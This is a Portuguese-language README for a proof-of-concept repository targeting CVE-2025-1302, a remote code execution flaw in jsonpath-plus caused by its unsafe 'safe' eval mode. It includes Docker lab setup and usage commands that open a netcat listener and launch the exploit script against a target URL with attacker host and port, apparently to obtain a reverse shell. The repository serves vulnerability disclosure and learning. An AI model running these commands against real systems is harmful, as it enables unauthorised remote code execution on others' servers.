CVE-2025-1302

★ CVE-2025-1302 PoC de RCE do JSONPath-plus ★

https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb

Configuração do Laboratório

docker build -t jsonpath:10.2.0 .
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

localhost:3000

Descrição

Versões do pacote jsonpath-plus anteriores à 10.3.0 são vulneráveis a Execução Remota de Código (RCE) devido à sanitização inadequada de entrada. Um atacante pode executar código arbitrário no sistema ao explorar o uso padrão inseguro do modo eval='safe'. Nota: Isso é causado por uma correção incompleta para CVE-2024-21534.

Como usar

Clonar o repositório

git clone https://github.com/EQSTLab/CVE-2025-1302.git
cd CVE-2025-1302

Instalar pacotes

pip install -r requirements.txt

Comando

nc -l -p <LPORT>
python3 CVE-2025-1302.py -u <URL_TO_EXPLOIT> -i <LHOST> -p <LPORT>

Saída

Resultado

Aviso Legal

Este repositório não se destina a ser um exploit de RCE para o CVE-2025-1302. O objetivo deste projeto é ajudar as pessoas a aprender sobre esta vulnerabilidade e, talvez, testar suas próprias aplicações.

EQST Insight

Publicamos análises de CVEs e malware uma vez por mês. Se você tiver interesse, siga os links abaixo para conferir nossas publicações. https://www.skshieldus.com/eng/business/insight.do